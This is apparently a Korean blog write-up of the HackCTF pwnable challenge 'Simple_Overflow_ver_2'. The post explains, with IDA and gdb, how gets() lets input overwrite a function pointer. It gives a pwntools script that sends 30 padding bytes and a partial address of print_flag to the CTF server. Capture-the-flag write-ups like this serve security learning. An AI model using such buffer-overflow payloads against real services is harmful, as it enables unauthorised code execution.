문제 종류 - Pwnable
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3007
풀이
IDA에 파일을 넣어보자.
main 함수 부분이다. gets로 s를 입력받고, select_func 함수에 s를 넘겨준다.
select_func 함수는 포인터 함수 v3에 two를 일단 넣고, src를 복사한 dest가 one이면 one을 리턴, one이 아니면 two를 리턴한다. 여기서 리턴 함수가 one, two가 아니라 print_flag라는 함수라면?
이제 gdb를 실행해보자.
select_func 끝 부분에서 eax를 call 한다. eax에는 함수의 반환 값이 저장되는데, 이 부분에 bp를 걸고 eax 값을 확인하자.
이 값을 입력한 값이 저장되어 있는, ebp-0x2a 근처에서 찾아보도록 하자.
총 30칸만큼 떨어져 있다.
더미 값(30byte) + print_flag의 시작 주소(2byte)인 페이로드를 작성하자.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3007)
4
5 payload = '\x90'*30
6 payload += '\xd8\x06'
7
8 p.recvline()
9 p.sendline(payload)
10 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Pwnable 후기 (0) | 2020.07.18 |
---|---|
[HackCTF] BOF_PIE 풀이 (150p) (0) | 2020.07.16 |
[HackCTF] Simple_Overflow_ver_2 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] x64 Simple_size_BOF 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] x64 Buffer Overflow 풀이 (150p) (0) | 2020.07.15 |